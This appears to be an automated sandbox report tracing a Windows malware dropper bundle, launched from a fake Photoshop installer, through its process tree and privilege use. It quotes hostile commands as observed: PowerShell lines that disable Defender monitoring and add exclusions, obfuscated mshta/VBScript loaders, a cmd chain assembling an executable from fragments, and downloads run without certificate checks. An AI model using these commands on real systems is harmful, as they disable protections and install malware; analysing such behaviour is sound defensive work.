Processes:
wget.exeSFXStart.exewget.exeSFXStart.exewget.exeAutoruns.exeSat14a7594cc5a0116.exeSat1487ca754e680f91.exepid process 1384 wget.exe 1384 wget.exe 1040 SFXStart.exe 1040 SFXStart.exe 1040 SFXStart.exe 1040 SFXStart.exe 1040 SFXStart.exe 1040 SFXStart.exe 1040 SFXStart.exe 1040 SFXStart.exe 2240 wget.exe 2240 wget.exe 2020 SFXStart.exe 2020 SFXStart.exe 2020 SFXStart.exe 2020 SFXStart.exe 2020 SFXStart.exe 2020 SFXStart.exe 2020 SFXStart.exe 2020 SFXStart.exe 1568 wget.exe 1568 wget.exe 2012 Autoruns.exe 2012 Autoruns.exe 3124 Sat14a7594cc5a0116.exe 3124 Sat14a7594cc5a0116.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe 3168 Sat1487ca754e680f91.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Autoruns.exepid process 2012 Autoruns.exe -
Suspicious use of AdjustPrivilegeToken 49 IoCs
Processes:
Autoruns.exeSat14d32a38896785b13.exeSat14b47e86b9c16b.exeSat14f1396dfcf191bd.exeWerFault.exepowershell.exepowershell.exeWerFault.exedescription pid process Token: SeDebugPrivilege 2012 Autoruns.exe Token: SeImpersonatePrivilege 2012 Autoruns.exe Token: SeSecurityPrivilege 2012 Autoruns.exe Token: SeDebugPrivilege 2012 Autoruns.exe Token: SeBackupPrivilege 2012 Autoruns.exe Token: SeRestorePrivilege 2012 Autoruns.exe Token: SeDebugPrivilege 3316 Sat14d32a38896785b13.exe Token: SeCreateTokenPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeAssignPrimaryTokenPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeLockMemoryPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeIncreaseQuotaPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeMachineAccountPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeTcbPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeSecurityPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeTakeOwnershipPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeLoadDriverPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeSystemProfilePrivilege 1512 Sat14b47e86b9c16b.exe Token: SeSystemtimePrivilege 1512 Sat14b47e86b9c16b.exe Token: SeProfSingleProcessPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeIncBasePriorityPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeCreatePagefilePrivilege 1512 Sat14b47e86b9c16b.exe Token: SeCreatePermanentPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeBackupPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeRestorePrivilege 1512 Sat14b47e86b9c16b.exe Token: SeShutdownPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeDebugPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeAuditPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeSystemEnvironmentPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeChangeNotifyPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeRemoteShutdownPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeUndockPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeSyncAgentPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeEnableDelegationPrivilege 1512 Sat14b47e86b9c16b.exe Token: SeManageVolumePrivilege 1512 Sat14b47e86b9c16b.exe Token: SeImpersonatePrivilege 1512 Sat14b47e86b9c16b.exe Token: SeCreateGlobalPrivilege 1512 Sat14b47e86b9c16b.exe Token: 31 1512 Sat14b47e86b9c16b.exe Token: 32 1512 Sat14b47e86b9c16b.exe Token: 33 1512 Sat14b47e86b9c16b.exe Token: 34 1512 Sat14b47e86b9c16b.exe Token: 35 1512 Sat14b47e86b9c16b.exe Token: SeDebugPrivilege 1848 Sat14f1396dfcf191bd.exe Token: SeRestorePrivilege 1656 WerFault.exe Token: SeBackupPrivilege 1656 WerFault.exe Token: SeBackupPrivilege 1656 WerFault.exe Token: SeDebugPrivilege 1656 WerFault.exe Token: SeDebugPrivilege 2120 powershell.exe Token: SeDebugPrivilege 1472 powershell.exe Token: SeDebugPrivilege 816 WerFault.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
Processes:
wget.exewget.exewget.exeSFXWget.exepid process 1384 wget.exe 2240 wget.exe 1568 wget.exe 1348 SFXWget.exe -
Suspicious use of SetWindowsHookEx 30 IoCs
Processes:
Password_is_5432764372___Adobe-Photoshop.exeSmartFix.exeSFXStart.exeSFXWget.exewget.exeSmartFix.exeSFXStart.exeSFXWget.exewget.exeSmartFix.exeSFXWget.exewget.exeAutoruns.exeexplorer.exesetup_x86_x64_install.exesetup_installer.exesetup_install.exeSat14514904a4b.exeSat142ac5249376e895.exeSat14b47e86b9c16b.exeSat1481f5a7e3eccdd.exeSat1481f5a7e3eccdd.tmpSat1481f5a7e3eccdd.exeSat1481f5a7e3eccdd.tmppid process 3020 Password_is_5432764372___Adobe-Photoshop.exe 3020 Password_is_5432764372___Adobe-Photoshop.exe 3536 SmartFix.exe 1040 SFXStart.exe 60 SFXWget.exe 1384 wget.exe 1328 SmartFix.exe 2020 SFXStart.exe 1988 SFXWget.exe 2240 wget.exe 516 SmartFix.exe 1348 SFXWget.exe 1568 wget.exe 2012 Autoruns.exe 1560 explorer.exe 1560 explorer.exe 1560 explorer.exe 1560 explorer.exe 1560 explorer.exe 1560 explorer.exe 1220 setup_x86_x64_install.exe 1684 setup_installer.exe 1508 setup_install.exe 2720 Sat14514904a4b.exe 2308 Sat142ac5249376e895.exe 1512 Sat14b47e86b9c16b.exe 1220 Sat1481f5a7e3eccdd.exe 3780 Sat1481f5a7e3eccdd.tmp 3724 Sat1481f5a7e3eccdd.exe 1836 Sat1481f5a7e3eccdd.tmp -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
SmartFix.exeSFXStart.exeSFXWget.exeSmartFix.exeSFXStart.exeSFXWget.exeSmartFix.exeSFXWget.exeAutoruns.exesetup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.exedescription pid process target process PID 3536 wrote to memory of 1040 3536 SmartFix.exe SFXStart.exe PID 3536 wrote to memory of 1040 3536 SmartFix.exe SFXStart.exe PID 3536 wrote to memory of 1040 3536 SmartFix.exe SFXStart.exe PID 1040 wrote to memory of 60 1040 SFXStart.exe SFXWget.exe PID 1040 wrote to memory of 60 1040 SFXStart.exe SFXWget.exe PID 1040 wrote to memory of 60 1040 SFXStart.exe SFXWget.exe PID 60 wrote to memory of 1384 60 SFXWget.exe wget.exe PID 60 wrote to memory of 1384 60 SFXWget.exe wget.exe PID 60 wrote to memory of 1384 60 SFXWget.exe wget.exe PID 1328 wrote to memory of 2020 1328 SmartFix.exe SFXStart.exe PID 1328 wrote to memory of 2020 1328 SmartFix.exe SFXStart.exe PID 1328 wrote to memory of 2020 1328 SmartFix.exe SFXStart.exe PID 2020 wrote to memory of 1988 2020 SFXStart.exe SFXWget.exe PID 2020 wrote to memory of 1988 2020 SFXStart.exe SFXWget.exe PID 2020 wrote to memory of 1988 2020 SFXStart.exe SFXWget.exe PID 1988 wrote to memory of 2240 1988 SFXWget.exe wget.exe PID 1988 wrote to memory of 2240 1988 SFXWget.exe wget.exe PID 1988 wrote to memory of 2240 1988 SFXWget.exe wget.exe PID 2020 wrote to memory of 516 2020 SFXStart.exe SmartFix.exe PID 2020 wrote to memory of 516 2020 SFXStart.exe SmartFix.exe PID 2020 wrote to memory of 516 2020 SFXStart.exe SmartFix.exe PID 516 wrote to memory of 1348 516 SmartFix.exe SFXWget.exe PID 516 wrote to memory of 1348 516 SmartFix.exe SFXWget.exe PID 516 wrote to memory of 1348 516 SmartFix.exe SFXWget.exe PID 1348 wrote to memory of 1568 1348 SFXWget.exe wget.exe PID 1348 wrote to memory of 1568 1348 SFXWget.exe wget.exe PID 1348 wrote to memory of 1568 1348 SFXWget.exe wget.exe PID 516 wrote to memory of 2012 516 SmartFix.exe Autoruns.exe PID 516 wrote to memory of 2012 516 SmartFix.exe Autoruns.exe PID 516 wrote to memory of 2012 516 SmartFix.exe Autoruns.exe PID 2012 wrote to memory of 2676 2012 Autoruns.exe regedit.exe PID 2012 wrote to memory of 2676 2012 Autoruns.exe regedit.exe PID 2012 wrote to memory of 3092 2012 Autoruns.exe explorer.exe PID 2012 wrote to memory of 3092 2012 Autoruns.exe explorer.exe PID 1220 wrote to memory of 1684 1220 setup_x86_x64_install.exe setup_installer.exe PID 1220 wrote to memory of 1684 1220 setup_x86_x64_install.exe setup_installer.exe PID 1220 wrote to memory of 1684 1220 setup_x86_x64_install.exe setup_installer.exe PID 1684 wrote to memory of 1508 1684 setup_installer.exe setup_install.exe PID 1684 wrote to memory of 1508 1684 setup_installer.exe setup_install.exe PID 1684 wrote to memory of 1508 1684 setup_installer.exe setup_install.exe PID 1508 wrote to memory of 3520 1508 setup_install.exe cmd.exe PID 1508 wrote to memory of 3520 1508 setup_install.exe cmd.exe PID 1508 wrote to memory of 3520 1508 setup_install.exe cmd.exe PID 1508 wrote to memory of 2240 1508 setup_install.exe cmd.exe PID 1508 wrote to memory of 2240 1508 setup_install.exe cmd.exe PID 1508 wrote to memory of 2240 1508 setup_install.exe cmd.exe PID 3520 wrote to memory of 1472 3520 cmd.exe powershell.exe PID 3520 wrote to memory of 1472 3520 cmd.exe powershell.exe PID 3520 wrote to memory of 1472 3520 cmd.exe powershell.exe PID 2240 wrote to memory of 2120 2240 cmd.exe powershell.exe PID 2240 wrote to memory of 2120 2240 cmd.exe powershell.exe PID 2240 wrote to memory of 2120 2240 cmd.exe powershell.exe PID 1508 wrote to memory of 1316 1508 setup_install.exe cmd.exe PID 1508 wrote to memory of 1316 1508 setup_install.exe cmd.exe PID 1508 wrote to memory of 1316 1508 setup_install.exe cmd.exe PID 1508 wrote to memory of 3052 1508 setup_install.exe cmd.exe PID 1508 wrote to memory of 3052 1508 setup_install.exe cmd.exe PID 1508 wrote to memory of 3052 1508 setup_install.exe cmd.exe PID 1508 wrote to memory of 1468 1508 setup_install.exe cmd.exe PID 1508 wrote to memory of 1468 1508 setup_install.exe cmd.exe PID 1508 wrote to memory of 1468 1508 setup_install.exe cmd.exe PID 1508 wrote to memory of 1948 1508 setup_install.exe cmd.exe PID 1508 wrote to memory of 1948 1508 setup_install.exe cmd.exe PID 1508 wrote to memory of 1948 1508 setup_install.exe cmd.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Password_is_5432764372___Adobe-Photoshop.exe"C:\Users\Admin\AppData\Local\Temp\Password_is_5432764372___Adobe-Photoshop.exe"1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Desktop\SmartFix.exe"C:\Users\Admin\Desktop\SmartFix.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXStart.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXStart.exe" /mainexe=C:\Users\Admin\Desktop\SmartFix.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe" /S /in=Version.txt /out="C:\Users\Admin\AppData\Local\Temp\SmartFix\Version.txt"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe" --tries=1 --progress=dot --no-check-certificate "https://smartfix.pro/Version.txt" -O "C:\Users\Admin\AppData\Local\Temp\SmartFix\Version.txt"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Desktop\SmartFix.exe"C:\Users\Admin\Desktop\SmartFix.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXStart.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXStart.exe" /mainexe=C:\Users\Admin\Desktop\SmartFix.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe" /S /in=Version.txt /out="C:\Users\Admin\AppData\Local\Temp\SmartFix\Version.txt"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe" --tries=1 --progress=dot --no-check-certificate "https://smartfix.pro/Version.txt" -O "C:\Users\Admin\AppData\Local\Temp\SmartFix\Version.txt"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Desktop\SmartFix.exe"C:\Users\Admin\Desktop\SmartFix.exe" /autoruns3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe" /in="https://smartfix.pro/autoruns.exe" /out="C:\Windows\SmartFix\AutoRuns.exe" /name=AutoRuns4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe" --tries=1 --progress=dot --no-check-certificate "https://smartfix.pro/autoruns.exe" -O "C:\Windows\SmartFix\AutoRuns.exe"5⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SmartFix\Autoruns.exe"C:\Windows\SmartFix\Autoruns.exe"4⤵
- Executes dropped EXE
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\regedit.exeC:\Windows\regedit.exe5⤵
- Runs regedit.exe
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /select,c:\windows\system32\9wqovn.exe5⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Drops file in System32 directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\Desktop\setup_x86_x64_install.exe"C:\Users\Admin\Desktop\setup_x86_x64_install.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS49684088\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat14f1396dfcf191bd.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat14f1396dfcf191bd.exeSat14f1396dfcf191bd.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\7835361.exe"C:\Users\Admin\AppData\Roaming\7835361.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\7835361.exe"C:\Users\Admin\AppData\Roaming\7835361.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\1727885.exe"C:\Users\Admin\AppData\Roaming\1727885.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\1727885.exe"C:\Users\Admin\AppData\Roaming\1727885.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\8433279.exe"C:\Users\Admin\AppData\Roaming\8433279.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\3354500.exe"C:\Users\Admin\AppData\Roaming\3354500.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\7306170.exe"C:\Users\Admin\AppData\Roaming\7306170.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat142b09ae40c44cf.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat142b09ae40c44cf.exeSat142b09ae40c44cf.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRIPT: cLOsE (CreaTEobject( "wscRiPT.sHELl" ). rUN( "cmD.EXE /C TYPe ""C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat142b09ae40c44cf.exe"" > JYCWewAX2vPOJ.EXE && stArT JyCwewAX2vPOJ.eXe /p~P_UpSUZjMkOKsY &If """" =="""" for %f iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat142b09ae40c44cf.exe"" ) do taskkill -iM ""%~NXf"" /f " , 0 , tRUe) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C TYPe "C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat142b09ae40c44cf.exe" > JYCWewAX2vPOJ.EXE && stArT JyCwewAX2vPOJ.eXe /p~P_UpSUZjMkOKsY &If "" =="" for %f iN ( "C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat142b09ae40c44cf.exe") do taskkill -iM "%~NXf" /f7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -iM "Sat142b09ae40c44cf.exe" /f8⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\JYCWewAX2vPOJ.EXEJyCwewAX2vPOJ.eXe /p~P_UpSUZjMkOKsY8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCriPT:CLOSe (CReAteoBject ( "wSCRiPt.SHeLL" ). Run("CmD.exE /Q /R EcHO Soy%TimE%jk> 1hsQZ.62D &ecHO | sEt /P = ""MZ"" >PajLCM.4 & CoPy /Y /b PAjlCM.4 + lKYqBUE.m + VUR_hcMP.3T + U9bIUq0J.~DW + I5glXU.Q+ 9h1gI_nY.T+ 1HSQZ.62D 2KSA.Gf7 & STaRT msiexec -y .\2KSA.GF7 " , 0 , truE) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /R EcHO Soy%TimE%jk>1hsQZ.62D &ecHO | sEt /P = "MZ" >PajLCM.4& CoPy /Y /b PAjlCM.4 +lKYqBUE.m + VUR_hcMP.3T + U9bIUq0J.~DW + I5glXU.Q+9h1gI_nY.T+ 1HSQZ.62D 2KSA.Gf7 &STaRT msiexec -y .\2KSA.GF710⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ecHO "11⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" sEt /P = "MZ" 1>PajLCM.4"11⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec -y .\2KSA.GF711⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat14514904a4b.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat14514904a4b.exeSat14514904a4b.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat14d32a38896785b13.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat14d32a38896785b13.exeSat14d32a38896785b13.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe"C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe"7⤵
-
C:\ProgramData\5150743.exe"C:\ProgramData\5150743.exe"8⤵
-
C:\ProgramData\3821336.exe"C:\ProgramData\3821336.exe"8⤵
-
C:\ProgramData\3821336.exe"C:\ProgramData\3821336.exe"9⤵
-
C:\ProgramData\7636020.exe"C:\ProgramData\7636020.exe"8⤵
-
C:\ProgramData\7636020.exe"C:\ProgramData\7636020.exe"9⤵
-
C:\ProgramData\8723154.exe"C:\ProgramData\8723154.exe"8⤵
-
C:\ProgramData\8723154.exe"C:\ProgramData\8723154.exe"9⤵
-
C:\ProgramData\4403308.exe"C:\ProgramData\4403308.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\4.exe"C:\Users\Admin\AppData\Local\Temp\4.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\5.exe"C:\Users\Admin\AppData\Local\Temp\5.exe"7⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4876 -s 15288⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"7⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"10⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 6848⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 8408⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 8968⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 9048⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 8968⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 10608⤵
- Drops file in Windows directory
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=18⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"9⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x218,0x21c,0x220,0x1dc,0x224,0x7ff8da9adec0,0x7ff8da9aded0,0x7ff8da9adee010⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --mojo-platform-channel-handle=2204 /prefetch:810⤵
-
